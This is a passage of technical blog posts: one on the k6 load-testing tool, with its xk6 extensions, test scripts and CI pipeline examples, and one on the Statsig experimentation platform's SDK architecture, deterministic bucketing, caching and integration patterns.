| Framework   | Core Language/Runtime    | Concurrency Model                | Scripting Language | Resource Efficiency | CI/CD Integration |
| ----------- | ------------------------ | -------------------------------- | ------------------ | ------------------- | ----------------- |
| **k6**      | Go                       | Goroutines (Lightweight Threads) | JavaScript (ES6)   | Very High           | Excellent         |
| **JMeter**  | Java / JVM               | OS Thread-per-User               | Groovy (optional)  | Low                 | Moderate          |
| **Gatling** | Scala / JVM (Akka/Netty) | Asynchronous / Event-Driven      | Scala DSL          | Very High           | Excellent         |
| **Locust**  | Python                   | Greenlets (gevent)               | Python             | High                | Excellent         |

### Resource Efficiency Analysis

Multiple independent benchmarks corroborate k6's architectural advantages:

- **Memory Usage**: k6 uses approximately 256 MB versus 760 MB for JMeter to accomplish similar tasks
- **Concurrent Users**: A single k6 instance can handle loads that would require a distributed, multi-machine setup for JMeter
- **Performance-per-Resource**: k6's Go-based architecture provides superior performance-per-resource ratio

### Developer Experience and CI/CD Integration

k6, Gatling, and Locust all champion a "tests-as-code" philosophy, allowing performance tests to be treated like any other software artifact. This makes them exceptionally well-suited for modern DevOps workflows.

JMeter, in contrast, is primarily GUI-driven, presenting significant challenges in a CI/CD context due to its reliance on XML-based .jmx files that are difficult to read, diff, and merge in version control.

## Extending the Core: The Power of xk6

No single tool can anticipate every future protocol, data format, or integration requirement. xk6 provides a robust mechanism for building custom versions of the k6 binary, allowing the community and individual organizations to extend its core functionality with native Go code.

### xk6 Build System

xk6 is a command-line tool designed to compile the k6 source code along with one or more extensions into a new, self-contained k6 executable:

```bash
# Build k6 with Kafka extension
xk6 build --with github.com/grafana/xk6-kafka

# Build k6 with multiple extensions
xk6 build --with github.com/grafana/xk6-kafka --with github.com/grafana/xk6-mqtt
```

### Extension Types

Extensions can be of two primary types:

1. **JavaScript Extensions**: Add new built-in JavaScript modules (e.g., `import kafka from 'k6/x/kafka'`)
2. **Output Extensions**: Add new options for the `--out` flag, allowing test metrics to be streamed to custom backends

### Popular Extensions

- **Messaging Systems**: Apache Kafka, MQTT, NATS
- **Databases**: PostgreSQL, MySQL
- **Custom Outputs**: Prometheus Pushgateway, Elasticsearch, AWS Timestream
- **Browser Testing**: xk6-browser (Playwright integration)

## Advanced k6 Features for Production Use

### Environment-Specific Configuration

```js collapse={1-2}
import http from "k6/http"
import { sleep } from "k6"

const BASE_URL = __ENV.BASE_URL || "https://test-api.k6.io"
const VUS = parseInt(__ENV.VUS) || 10
const DURATION = __ENV.DURATION || "30s"

export const options = {
  vus: VUS,
  duration: DURATION,
  thresholds: {
    http_req_duration: ["p(95)<500"],
    http_req_failed: ["rate<0.01"],
  },
}

export default function () {
  http.get(`${BASE_URL}/api/endpoint`)
  sleep(1)
}
```

### Data-Driven Testing

```js collapse={1-3, 10-14}
import http from "k6/http"
import { SharedArray } from "k6/data"
import { sleep } from "k6"

// Load test data from CSV
const users = new SharedArray("users", function () {
  return open("./users.csv").split("\n").slice(1) // Skip header
})

export const options = {
  vus: 10,
  duration: "30s",
}

export default function () {
  const user = users[Math.floor(Math.random() * users.length)]
  const [username, password] = user.split(",")

  const response = http.post("https://test-api.k6.io/login", {
    username: username,
    password: password,
  })

  sleep(1)
}
```

### Complex User Journeys

```js collapse={1-2, 5-8}
import http from "k6/http"
import { check, sleep } from "k6"

export const options = {
  vus: 10,
  duration: "30s",
}

export default function () {
  // Step 1: Login
  const loginResponse = http.post("https://test-api.k6.io/login", {
    username: "testuser",
    password: "testpass",
  })

  check(loginResponse, {
    "login successful": (r) => r.status === 200,
  })

  if (loginResponse.status === 200) {
    const token = loginResponse.json("token")

    // Step 2: Get user profile
    const profileResponse = http.get("https://test-api.k6.io/profile", {
      headers: { Authorization: `Bearer ${token}` },
    })

    check(profileResponse, {
      "profile retrieved": (r) => r.status === 200,
    })

    // Step 3: Update profile
    const updateResponse = http.put("https://test-api.k6.io/profile", JSON.stringify({ name: "Updated Name" }), {
      headers: {
        Authorization: `Bearer ${token}`,
        "Content-Type": "application/json",
      },
    })

    check(updateResponse, {
      "profile updated": (r) => r.status === 200,
    })
  }

  sleep(1)
}
```

## Integration with CI/CD Pipelines

### GitHub Actions Example

```yaml
name: Performance Tests

on: [push, pull_request]

jobs:
  performance:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Install k6
        run: |
          curl -L https://github.com/grafana/k6/releases/download/v0.47.0/k6-v0.47.0-linux-amd64.tar.gz | tar xz
          sudo cp k6-v0.47.0-linux-amd64/k6 /usr/local/bin

      - name: Run smoke test
        run: k6 run smoke-test.js

      - name: Run load test
        run: k6 run load-test.js
        if: github.ref == 'refs/heads/main'
```

### Jenkins Pipeline Example

```groovy
pipeline {
    agent any

    stages {
        stage('Smoke Test') {
            steps {
                sh 'k6 run smoke-test.js'
            }
        }

        stage('Load Test') {
            when {
                branch 'main'
            }
            steps {
                sh 'k6 run load-test.js'
            }
        }
    }

    post {
        always {
            publishHTML([
                allowMissing: false,
                alwaysLinkToLastBuild: true,
                keepAll: true,
                reportDir: 'k6-results',
                reportFiles: 'index.html',
                reportName: 'K6 Performance Report'
            ])
        }
    }
}
```

## Best Practices for k6 Performance Testing

### 1. Test Design Principles

- **Start Simple**: Begin with smoke tests to establish baselines
- **Incremental Complexity**: Gradually increase test complexity and load
- **Realistic Scenarios**: Model actual user behavior patterns
- **Environment Parity**: Test against environments that mirror production

### 2. Script Organization

```js
// config.js - Centralized configuration
export const config = {
  baseUrl: __ENV.BASE_URL || "https://test-api.k6.io",
  timeout: "30s",
  thresholds: {
    http_req_duration: ["p(95)<500"],
    http_req_failed: ["rate<0.01"],
  },
}

// utils.js - Shared utilities
export function generateRandomUser() {
  return {
    username: `user_${Math.random().toString(36).substr(2, 9)}`,
    email: `user_${Math.random().toString(36).substr(2, 9)}@example.com`,
  }
}

// main-test.js - Main test script
import { config } from "./config.js"
import { generateRandomUser } from "./utils.js"

export const options = {
  vus: 10,
  duration: "30s",
  ...config,
}

export default function () {
  const user = generateRandomUser()
  // Test logic here
}
```

### 3. Monitoring and Observability

- **Real-time Metrics**: Use k6's real-time output for immediate feedback
- **External Monitoring**: Integrate with Grafana, Prometheus, or other monitoring tools
- **Logging**: Implement structured logging for debugging
- **Alerts**: Set up automated alerts for threshold violations

### 4. Performance Baselines

```js collapse={1-2}
import http from "k6/http"
import { check, sleep } from "k6"

export const options = {
  vus: 1,
  duration: "1m",
  thresholds: {
    // Establish baseline thresholds
    http_req_duration: ["p(95)<200"], // Baseline: 95% under 200ms
    http_req_failed: ["rate<0.001"], // Baseline: Less than 0.1% failures
  },
}

export default function () {
  const response = http.get("https://test-api.k6.io")

  check(response, {
    "status is 200": (r) => r.status === 200,
    "response time < 200ms": (r) => r.timings.duration < 200,
  })

  sleep(1)
}
```

## Conclusion

k6's strength comes from deliberate architectural choices that work together:

1. **Resource Efficiency**: Go's goroutine-based concurrency enables meaningful performance testing in resource-constrained CI/CD environments—256 MB vs 760 MB for equivalent JMeter tests.

2. **Developer Experience**: JavaScript scripting with a "tests-as-code" ethos lowers barriers and empowers developers to own performance testing.

3. **Workload Modeling**: The Scenarios and Executors API enables accurate simulation of real-world traffic patterns beyond simplistic load generation.

4. **Automated Validation**: Built-in metrics, custom metrics, tagging, and thresholds create a closed-loop system that transforms performance data into actionable pass/fail results.

5. **Extensibility**: The xk6 framework provides community-driven innovation for new protocols and integrations.

k6's integration with the Grafana ecosystem, open-source nature, and active development position it well for evolving cloud-native architectures. For teams implementing shift-left performance testing, k6 offers a compelling combination of technical excellence and developer productivity.

## References

- [k6 Official Documentation](https://grafana.com/docs/k6/)
- [k6 Installation Guide](https://grafana.com/docs/k6/latest/set-up/install-k6/)
- [k6 Options Reference](https://grafana.com/docs/k6/latest/using-k6/k6-options/reference/)
- [k6 Testing Guides](https://grafana.com/docs/k6/latest/testing-guides/)
- [xk6 Extension Framework](https://github.com/grafana/xk6)
- [k6 Community Extensions](https://github.com/topics/xk6-extension)

---

## Statsig Experimentation Platform: Architecture and Rollouts

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/experimentation-testing/statsig-experimentation-overview
**Category:** Platform Engineering / Experimentation & Testing
**Description:** Statsig is a unified experimentation platform that combines feature flags, A/B testing, and product analytics into a single, cohesive system. This post explores the internal architecture, SDK integration patterns, and implementation strategies for both browser and server-side environments.

# Statsig Experimentation Platform: Architecture and Rollouts

Statsig is a unified experimentation platform that combines feature flags, A/B testing, and product analytics into a single, cohesive system. This post explores the internal architecture, SDK integration patterns, and implementation strategies for both browser and server-side environments.

<figure>

![Statsig architecture overview: server SDKs perform local evaluation from CDN-delivered config specs, while client SDKs receive pre-computed values from the /initialize endpoint](./statsig-architecture-overview-server-sdks-perform-local-evaluation-from-cdn-deli.svg)

<figcaption>Statsig architecture overview: server SDKs perform local evaluation from CDN-delivered config specs, while client SDKs receive pre-computed values from the /initialize endpoint</figcaption>

</figure>

## TLDR

• **Unified Platform**: Statsig integrates feature flags, experimentation, and analytics through a single data pipeline, eliminating data silos and ensuring statistical integrity

• **Dual SDK Architecture**: Server SDKs download full config specs and evaluate locally (sub-1ms), while client SDKs receive pre-evaluated results during initialization

• **Deterministic Assignment**: SHA-256 hashing with unique salts ensures consistent user bucketing across platforms and sessions

• **High-Performance Design**: Global CDN distribution for configs, multi-stage event pipeline for durability, and hybrid data processing (Spark + BigQuery)

• **Flexible Deployment**: Supports cloud-hosted, warehouse-native, and hybrid models for different compliance and data sovereignty requirements

• **Advanced Caching**: Sophisticated caching strategies including bootstrap initialization, local storage, and edge integration patterns

• **Override System**: Multi-layered override capabilities for development, testing, and debugging workflows

## Core Architecture Principles

Statsig's architecture is built on several fundamental principles that enable its high-performance, scalable feature flagging and experimentation platform:

• **Deterministic Evaluation**: Every evaluation produces consistent results across different platforms and SDK implementations. Given the same user object and experiment state, Statsig always returns identical results whether evaluated on client or server SDKs.

• **Stateless SDK Model**: SDKs don't maintain user assignment state or remember previous evaluations. Instead, they rely on deterministic algorithms to compute assignments in real-time, eliminating the need for distributed state management.

• **Local Evaluation**: After initialization, virtually all SDK operations execute without network requests, typically completing in under 1ms. Server SDKs maintain complete rulesets in memory, while client SDKs receive pre-computed evaluations during initialization.

• **Unified Data Pipeline**: Feature flags, experimentation, and analytics share a single data pipeline, ensuring data consistency and eliminating silos.

• **High-Performance Design**: Optimized for sub-millisecond evaluation latencies with global CDN distribution and sophisticated caching strategies.

![Figure 1: Statsig SDK Evaluation Flow - Server SDKs perform local evaluation while client SDKs use pre-computed cache](./figure-1-statsig-sdk-evaluation-flow-server-sdks-perform-local-evaluation-while-.svg)

<figcaption>Figure 1: Statsig SDK Evaluation Flow - Server SDKs perform local evaluation while client SDKs use pre-computed cache</figcaption>

## Unified Platform Philosophy

Statsig's most fundamental design tenet is its "unified system" approach where feature flags, experimentation, product analytics, and session replay all share a single, common data pipeline. This directly addresses the prevalent industry problem of "tool sprawl" where organizations employ disparate services for different functions.

![Figure 2: Unified Platform Architecture - All components share a single data pipeline ensuring consistency](./figure-2-unified-platform-architecture-all-components-share-a-single-data-pipeli.svg)

<figcaption>Figure 2: Unified Platform Architecture - All components share a single data pipeline ensuring consistency</figcaption>

### Data Consistency Guarantees

When a feature flag exposure and a subsequent conversion event are processed through the same pipeline, using the same user identity model and metric definitions, the causal link between them becomes inherently trustworthy. This architectural choice fundamentally increases the statistical integrity and reliability of experiment results.

### Core Service Components

The platform is composed of distinct, decoupled microservices:

- **Assignment Service**: Determines user assignments to experiment variations and feature rollouts
- **Feature Flag/Configuration Service**: Manages rule definitions and config specs
- **Metrics Pipeline**: High-throughput system for event ingestion, processing, and analysis
- **Analysis Service**: Statistical engine computing experiment results using methods like CUPED and sequential testing

## SDK Architecture Deep Dive

### Server vs. Client SDK Dichotomy

Statsig employs two fundamentally different models for configuration synchronization and evaluation:

#### Server SDK Architecture

![Figure 3a: Server SDK Architecture - Downloads full config and evaluates locally](./figure-3a-server-sdk-architecture-downloads-full-config-and-evaluates-locally.svg)

<figcaption>Figure 3a: Server SDK Architecture - Downloads full config and evaluates locally</figcaption>

#### Client SDK Architecture

![Figure 3b: Client SDK Architecture - Receives pre-computed values and caches them](./figure-3b-client-sdk-architecture-receives-pre-computed-values-and-caches-them.svg)

<figcaption>Figure 3b: Client SDK Architecture - Receives pre-computed values and caches them</figcaption>

#### Server SDKs (Node.js, Python, Go, Java)

```typescript title="server-evaluation.ts" collapse={1-2, 21-26}
// Download & Evaluate Locally Model
import { Statsig } from "@statsig/statsig-node-core"

// Initialize with full config download
const statsig = await Statsig.initialize("secret-key", {
  environment: { tier: "production" },
  rulesetsSyncIntervalMs: 10000,
})

// Synchronous, in-memory evaluation - the key pattern
function evaluateUserFeatures(user: StatsigUser) {
  const isFeatureEnabled = statsig.checkGate(user, "new_ui_feature")
  const config = statsig.getConfig(user, "pricing_tier")
  const experiment = statsig.getExperiment(user, "recommendation_algorithm")

  return {
    newUI: isFeatureEnabled,
    pricing: config.value,
    experiment: experiment.value,
  }
}

// Sub-1ms evaluation, no network calls
const result = evaluateUserFeatures({
  userID: "user123",
  email: "user@example.com",
  custom: { plan: "premium" },
})
```

**Characteristics:**

- Downloads entire config spec during initialization
- Performs evaluation logic locally, in-memory
- Synchronous, sub-millisecond operations
- No network calls for individual checks

#### Client SDKs (JavaScript, React, iOS, Android)

```typescript title="client-evaluation.ts" collapse={1-2}
// Pre-evaluated on Initialize Model
import { StatsigClient } from "@statsig/js-client"

// Initialize with user context - triggers network request
const client = new StatsigClient("client-key")
await client.initializeAsync({
  userID: "user123",
  email: "user@example.com",
  custom: { plan: "premium" },
})

// Synchronous cache lookup - the key pattern
function getFeatureFlags() {
  const isFeatureEnabled = client.checkGate("new_ui_feature")
  const config = client.getConfig("pricing_tier")
  const experiment = client.getExperiment("recommendation_algorithm")

  return {
    newUI: isFeatureEnabled,
    pricing: config.value,
    experiment: experiment.value,
  }
}

const result = getFeatureFlags() // Fast cache lookup, no network calls
```

**Characteristics:**

- Sends user object to `/initialize` endpoint during startup
- Receives pre-computed, tailored JSON payload
- Subsequent checks are fast, synchronous cache lookups
- No exposure of business logic to client

## Configuration Synchronization

### Server-Side Configuration Management

Server SDKs maintain authoritative configuration state by downloading complete rule definitions:

![Figure 4: Server-Side Configuration Synchronization - Continuous polling with delta updates](./figure-4-server-side-configuration-synchronization-continuous-polling-with-delta.svg)

<figcaption>Figure 4: Server-Side Configuration Synchronization - Continuous polling with delta updates</figcaption>

```typescript
interface ConfigSpecs {
  feature_gates: Record<string, FeatureGateSpec>
  dynamic_configs: Record<string, DynamicConfigSpec>
  layer_configs: Record<string, LayerSpec>
  id_lists: Record<string, string[]>
  has_updates: boolean
  time: number
}
```

**Synchronization Process:**

1. Initial download from CDN endpoint: `https://api.statsigcdn.com/v1/download_config_specs/{SDK_KEY}.json`
2. Background polling every 10 seconds (configurable)
3. Delta updates when possible using `company_lcut` timestamp
4. Atomic swaps of in-memory store for consistency

### Client-Side Evaluation Caching

Client SDKs receive pre-evaluated results rather than raw configuration rules:

![Figure 5: Client-Side Evaluation Caching - Pre-computed values with local storage fallback](./figure-5-client-side-evaluation-caching-pre-computed-values-with-local-storage-f.svg)

<figcaption>Figure 5: Client-Side Evaluation Caching - Pre-computed values with local storage fallback</figcaption>

```json
{
  "feature_gates": {
    "gate_name": {
      "name": "gate_name",
      "value": true,
      "rule_id": "rule_123",
      "secondary_exposures": [...]
    }
  },
  "dynamic_configs": {
    "config_name": {
      "name": "config_name",
      "value": {"param1": "value1"},
      "rule_id": "rule_456",
      "group": "treatment"
    }
  }
}
```

## Deterministic Assignment Algorithm

### Hashing Implementation

Statsig's bucket assignment algorithm ensures consistent, deterministic user allocation:

![Figure 6: Deterministic Assignment Algorithm - SHA-256 hashing with salt ensures consistent user bucketing](./figure-6-deterministic-assignment-algorithm-sha-256-hashing-with-salt-ensures-co.svg)

<figcaption>Figure 6: Deterministic Assignment Algorithm - SHA-256 hashing with salt ensures consistent user bucketing</figcaption>

```typescript title="assignment-algorithm.ts" collapse={1-8, 30-32}
// Statsig's deterministic assignment algorithm (simplified)
import { createHash } from "crypto"

interface AssignmentResult {
  bucket: number
  assigned: boolean
  group?: string
}

function assignUser(userId: string, salt: string, allocation: number = 10000): AssignmentResult {
  // 1. Concatenate salt with user ID
  const input = salt + userId

  // 2. SHA-256 hash for uniform distribution
  const hash = createHash("sha256").update(input).digest("hex")

  // 3. Extract first 8 hex chars (32 bits) and convert to integer
  const first8Bytes = hash.substring(0, 8)
  const hashInt = parseInt(first8Bytes, 16)

  // 4. Modulo 10,000 for experiments (1,000 for layers)
  const bucket = hashInt % allocation

  // 5. Compare bucket to threshold for assignment
  const assigned = bucket < allocation * 0.1 // 10% allocation example

  return { bucket, assigned, group: assigned ? "treatment" : "control" }
}

// Usage
const result = assignUser("user123", "experiment_salt_abc123", 10000)
console.log(`Bucket ${result.bucket}, group: ${result.group}`)
```

**Process:**

1. **Salt Creation**: Each rule generates a unique, stable salt
2. **Input Concatenation**: Salt + user identifier (userID, stableID, or customID)
3. **Hashing**: SHA-256 hashing for cryptographic security and uniform distribution
4. **Bucket Assignment**: First 8 bytes converted to integer, then modulo 10,000 (experiments) or 1,000 (layers)

### Assignment Consistency Guarantees

- **Cross-platform consistency**: Identical assignments across client/server SDKs
- **Temporal consistency**: Maintains assignments across rule modifications
- **User attribute independence**: Assignment depends only on user identifier and salt

## Browser SDK Implementation

### Multi-Strategy Initialization Framework

The browser SDK implements four distinct initialization strategies:

![Figure 7: Browser SDK Initialization Strategies - Four different approaches for balancing performance and freshness](./figure-7-browser-sdk-initialization-strategies-four-different-approaches-for-bal.svg)

<figcaption>Figure 7: Browser SDK Initialization Strategies - Four different approaches for balancing performance and freshness</figcaption>

#### 1. Asynchronous Awaited Initialization

```typescript
const client = new StatsigClient("client-key")
await client.initializeAsync(user) // Blocks rendering until complete
```

**Use Case**: When data freshness is critical and some rendering delay is acceptable.

#### 2. Bootstrap Initialization (Recommended)

```typescript
// Server-side (Node.js/Next.js)
const serverStatsig = await Statsig.initialize("secret-key")
const bootstrapValues = serverStatsig.getClientInitializeResponse(user)

// Client-side
const client = new StatsigClient("client-key")
client.initializeSync({ initializeValues: bootstrapValues })
```

**Use Case**: Optimal balance between performance and freshness, eliminates UI flicker.

#### 3. Synchronous Initialization

```typescript
const client = new StatsigClient("client-key")
client.initializeSync(user) // Uses cache, fetches updates in background
```

**Use Case**: Progressive web applications where some staleness is acceptable.

### Cache Management and Storage

The browser SDK employs sophisticated caching mechanisms:

```typescript
interface CachedEvaluations {
  feature_gates: Record<string, FeatureGateResult>
  dynamic_configs: Record<string, DynamicConfigResult>
  layer_configs: Record<string, LayerResult>
  time: number
  company_lcut: number
  hash_used: string
  evaluated_keys: EvaluatedKeys
}
```

**Cache Invalidation**: Occurs when `company_lcut` timestamp changes, indicating configuration updates.

## Node.js Server SDK Integration

### Server-Side Architecture Patterns

![Figure 8: Node.js Server SDK Architecture - In-memory evaluation with background synchronization](./figure-8-node-js-server-sdk-architecture-in-memory-evaluation-with-background-sy.svg)

<figcaption>Figure 8: Node.js Server SDK Architecture - In-memory evaluation with background synchronization</figcaption>

```typescript title="express-handler.ts" collapse={1-7}
import { Statsig } from "@statsig/statsig-node-core"

// Initialize once at startup
const statsig = await Statsig.initialize("secret-key", {
  environment: { tier: "production" },
  rulesetsSyncIntervalMs: 10000,
})

// Request handler - evaluations are synchronous, sub-1ms
function handleRequest(req: Request, res: Response) {
  const user = {
    userID: req.user.id,
    email: req.user.email,
    custom: { plan: req.user.plan },
  }

  const isFeatureEnabled = statsig.checkGate(user, "new_feature")
  const config = statsig.getConfig(user, "pricing_config")

  res.json({ feature: isFeatureEnabled, pricing: config.value })
}
```

### Background Synchronization

Server SDKs implement continuous background synchronization:

```typescript
// Configurable polling interval
const statsig = await Statsig.initialize("secret-key", {
  rulesetsSyncIntervalMs: 30000, // 30 seconds for less critical updates
})

// Delta updates when possible
// Atomic swaps ensure consistency
```

### Data Adapter Ecosystem

For enhanced resilience, Statsig supports pluggable data adapters via a generic interface. You implement the `DataAdapter` interface to integrate your storage solution:

```typescript title="redis-data-adapter.ts" collapse={1-2}
// Custom DataAdapter implementation for Redis
import { createClient, RedisClientType } from "redis"

interface DataAdapter {
  initialize(): Promise<void>
  get(key: string): Promise<string | null>
  set(key: string, value: string): Promise<void>
  shutdown(): Promise<void>
}

class RedisDataAdapter implements DataAdapter {
  private client: RedisClientType

  constructor(private config: { host: string; port: number; password?: string }) {
    this.client = createClient({ url: `redis://${config.host}:${config.port}` })
  }

  async initialize() {
    await this.client.connect()
  }

  // Cache keys follow: statsig|{path}|{format}|{hashedSDKKey}
  async get(key: string) {
    return this.client.get(key)
  }

  async set(key: string, value: string) {
    await this.client.set(key, value)
  }

  async shutdown() {
    await this.client.quit()
  }
}
```

**Best practice**: Separate read and write responsibilities—webservers should only read from the cache, while a dedicated service or cron job handles writing updates to reduce contention.

## Performance Optimization Strategies

### Bootstrap Initialization for Next.js

![Figure 9: Bootstrap Initialization Flow - Server pre-computes values for instant client-side rendering](./figure-9-bootstrap-initialization-flow-server-pre-computes-values-for-instant-cl.svg)

<figcaption>Figure 9: Bootstrap Initialization Flow - Server pre-computes values for instant client-side rendering</figcaption>

```typescript title="pages/api/features.ts" collapse={1-4}
import { Statsig } from "@statsig/statsig-node-core"

const statsig = await Statsig.initialize("secret-key")

// Returns pre-computed evaluations for client SDK bootstrap
export default async function handler(req: NextApiRequest, res: NextApiResponse) {
  const user = {
    userID: req.headers["x-user-id"] as string,
    email: req.headers["x-user-email"] as string,
  }

  const bootstrapValues = statsig.getClientInitializeResponse(user)
  res.json(bootstrapValues)
}
```

```typescript title="pages/_app.tsx" collapse={1-2}
import { StatsigClient } from '@statsig/js-client';

function MyApp({ Component, pageProps, bootstrapValues }) {
  const [statsig, setStatsig] = useState(null);

  useEffect(() => {
    const client = new StatsigClient('client-key');
    // Synchronous init with server-provided values - no network request
    client.initializeSync({ initializeValues: bootstrapValues });
    setStatsig(client);
  }, []);

  return <Component {...pageProps} statsig={statsig} />;
}
```

### Edge Integration Patterns

```typescript title="vercel-edge-integration.ts"
// Vercel Edge Config integration (official adapter)
import { EdgeConfigDataStore } from "@statsig/vercel-server"

const statsig = await Statsig.initialize("secret-key", {
  dataStore: new EdgeConfigDataStore(process.env.EDGE_CONFIG_ID),
})
```

## Override System Architecture

### Feature Gate Overrides

![Figure 10: Override System Hierarchy - Overrides take precedence over normal rule evaluation](./figure-10-override-system-hierarchy-overrides-take-precedence-over-normal-rule-e.svg)

<figcaption>Figure 10: Override System Hierarchy - Overrides take precedence over normal rule evaluation</figcaption>

```typescript
// Console-based overrides (highest precedence)
// Configured in Statsig console for specific userIDs

// Local SDK overrides (for testing)
statsig.overrideGate("my_gate", true, "user123")
statsig.overrideGate("my_gate", false) // Global override
```

### Experiment Overrides

```typescript
// Layer-level overrides for experiments
statsig.overrideExperiment("my_experiment", "treatment", "user123")

// Local mode for testing
const statsig = await Statsig.initialize("secret-key", {
  localMode: true, // Disables network requests
})
```

## Advanced Integration Patterns

### Microservices Integration

![Figure 11: Microservices Integration - Shared Redis cache ensures consistent configuration across services](./figure-11-microservices-integration-shared-redis-cache-ensures-consistent-config.svg)

<figcaption>Figure 11: Microservices Integration - Shared Redis cache ensures consistent configuration across services</figcaption>

```typescript title="shared-config-state.ts"
// All services share the same Redis instance for config caching
const redisAdapter = new RedisDataAdapter({
  host: process.env.REDIS_HOST,
  port: parseInt(process.env.REDIS_PORT),
})

const statsig = await Statsig.initialize("secret-key", {
  dataStore: redisAdapter, // Implements DataAdapter interface
})
```

### Serverless Architecture Considerations

![Figure 12: Serverless Architecture - Cold start optimization with shared Redis cache](./figure-12-serverless-architecture-cold-start-optimization-with-shared-redis-cach.svg)

<figcaption>Figure 12: Serverless Architecture - Cold start optimization with shared Redis cache</figcaption>

```typescript title="lambda-handler.ts" collapse={1-15}
// Cold start optimization: reuse SDK across invocations
let statsigInstance: Statsig | null = null

async function initStatsig() {
  if (!statsigInstance) {
    statsigInstance = await Statsig.initialize("secret-key", {
      dataStore: new RedisDataAdapter({
        host: process.env.REDIS_HOST,
        port: parseInt(process.env.REDIS_PORT),
      }),
    })
  }
  return statsigInstance
}

// Key pattern: SDK instance persists across Lambda invocations
export async function handler(event: APIGatewayEvent) {
  const statsig = await initStatsig() // Reuses existing instance
  const user = { userID: event.requestContext.authorizer.userId }
  const result = statsig.checkGate(user, "feature_flag")

  return { statusCode: 200, body: JSON.stringify({ feature: result }) }
}
```

## Practical Implementation Examples

### Next.js with Bootstrap Initialization

![Figure 13: Next.js Bootstrap Implementation - Server-side pre-computation eliminates client-side network requests](./figure-13-next-js-bootstrap-implementation-server-side-pre-computation-eliminate.svg)

<figcaption>Figure 13: Next.js Bootstrap Implementation - Server-side pre-computation eliminates client-side network requests</figcaption>

```typescript title="lib/statsig.ts" collapse={1-2}
import { Statsig } from "@statsig/statsig-node-core"

let statsigInstance: Statsig | null = null

// Singleton pattern for Next.js server-side usage
export async function getStatsig() {
  if (!statsigInstance) {
    statsigInstance = await Statsig.initialize(process.env.STATSIG_SECRET_KEY!)
  }
  return statsigInstance
}

export async function getBootstrapValues(user: StatsigUser) {
  const statsig = await getStatsig()
  return statsig.getClientInitializeResponse(user)
}
```

```typescript title="pages/index.tsx" collapse={1-4, 18-23}
import { GetServerSideProps } from 'next';
import { StatsigClient } from '@statsig/js-client';
import { getBootstrapValues } from '../lib/statsig';

// Server-side: pre-compute evaluations for this user
export const getServerSideProps: GetServerSideProps = async (context) => {
  const user = {
    userID: context.req.headers['x-user-id'] as string || 'anonymous',
    custom: { source: 'web' }
  };

  const bootstrapValues = await getBootstrapValues(user);
  return { props: { bootstrapValues, user } };
};

// Client-side: instant initialization with no network request
export default function Home({ bootstrapValues, user }) {
  const [statsig, setStatsig] = useState<StatsigClient | null>(null);

  useEffect(() => {
    const client = new StatsigClient(process.env.NEXT_PUBLIC_STATSIG_CLIENT_KEY!);
    client.initializeSync({ initializeValues: bootstrapValues });
    setStatsig(client);
  }, [bootstrapValues]);

  const isFeatureEnabled = statsig?.checkGate('new_feature') || false;

  return (
    <div>
      {isFeatureEnabled && <NewFeatureComponent />}
      <ExistingComponent />
    </div>
  );
}
```

### Node.js BFF (Backend for Frontend) Pattern

```typescript title="services/feature-service.ts" collapse={1-2}
import { Statsig } from "@statsig/statsig-node-core"

export class FeatureService {
  private statsig: Statsig

  async initialize() {
    this.statsig = await Statsig.initialize(process.env.STATSIG_SECRET_KEY!)
  }

  // Sub-1ms synchronous evaluations
  evaluateFeatures(user: StatsigUser) {
    return {
      newUI: this.statsig.checkGate(user, "new_ui"),
      pricing: this.statsig.getConfig(user, "pricing_tier"),
      experiment: this.statsig.getExperiment(user, "recommendation_algorithm"),
    }
  }

  getBootstrapValues(user: StatsigUser) {
    return this.statsig.getClientInitializeResponse(user)
  }
}
```

```typescript title="routes/features.ts" collapse={1-4}
import { FeatureService } from "../services/feature-service"

const featureService = new FeatureService()

router.get("/features/:userId", async (req, res) => {
  const user = {
    userID: req.params.userId,
    email: req.headers["x-user-email"] as string,
    custom: { plan: req.headers["x-user-plan"] as string },
  }

  const features = featureService.evaluateFeatures(user) // Synchronous
  res.json(features)
})

router.get("/bootstrap/:userId", async (req, res) => {
  const user = { userID: req.params.userId }
  const bootstrapValues = featureService.getBootstrapValues(user)
  res.json(bootstrapValues)
})
```

## Error Handling and Resilience

### Network Failure Scenarios

Statsig SDKs are designed to handle various network failure scenarios gracefully:

![Figure 14: Error Handling and Resilience - Multi-layered fallback mechanisms ensure system reliability](./figure-14-error-handling-and-resilience-multi-layered-fallback-mechanisms-ensure.svg)

<figcaption>Figure 14: Error Handling and Resilience - Multi-layered fallback mechanisms ensure system reliability</figcaption>

```typescript title="error-handling.ts" collapse={1-2, 17-28}
// Client SDK: graceful degradation on network failure
const client = new StatsigClient("client-key")

try {
  await client.initializeAsync(user)
} catch (error) {
  // Fallback hierarchy: cached values → defaults → graceful degradation
  console.warn("Statsig initialization failed:", error)
  client.initializeSync(user) // Uses localStorage cache if available
}

// All subsequent checks use cached values or return defaults
const isEnabled = client.checkGate("feature") // Never throws

// Server SDK: data store fallback for cold starts
const statsig = await Statsig.initialize("secret-key", {
  dataStore: new RedisDataAdapter({
    host: process.env.REDIS_HOST,
    port: parseInt(process.env.REDIS_PORT),
  }),
  rulesetsSyncIntervalMs: 10000,
})
```

### Fallback Mechanisms

**Client SDK Fallbacks:**

1. **Cached Values**: Uses previously cached evaluations from localStorage
2. **Default Values**: Falls back to code-defined defaults
3. **Graceful Degradation**: Continues operation with stale data

**Server SDK Fallbacks:**

1. **Data Store**: Loads configurations from Redis/other data stores
2. **In-Memory Cache**: Uses last successfully downloaded config
3. **Health Checks**: Monitors SDK health and reports issues

## Monitoring and Observability

### SDK Health Monitoring

![Figure 15: Monitoring and Observability - Comprehensive metrics collection and alerting system](./figure-15-monitoring-and-observability-comprehensive-metrics-collection-and-aler.svg)

<figcaption>Figure 15: Monitoring and Observability - Comprehensive metrics collection and alerting system</figcaption>

```typescript title="monitoring.ts" collapse={1-6}
const statsig = await Statsig.initialize("secret-key", {
  environment: { tier: "production" },
})

const metrics = new MetricsClient() // Your monitoring system

// Track evaluation latency (should be <1ms for server SDK)
function checkGateWithMetrics(user: StatsigUser, gateName: string) {
  const startTime = performance.now()
  const result = statsig.checkGate(user, gateName)
  const latency = performance.now() - startTime

  metrics.histogram("statsig.evaluation.latency_ms", latency)
  metrics.increment("statsig.evaluation.count", { gate: gateName })

  return result
}

// Key metrics to monitor:
// - Evaluation latency: <1ms for server SDK
// - Cache hit rate: percentage using cached configs
// - Sync success rate: config download success
// - Error rates: network failures, parsing errors
```

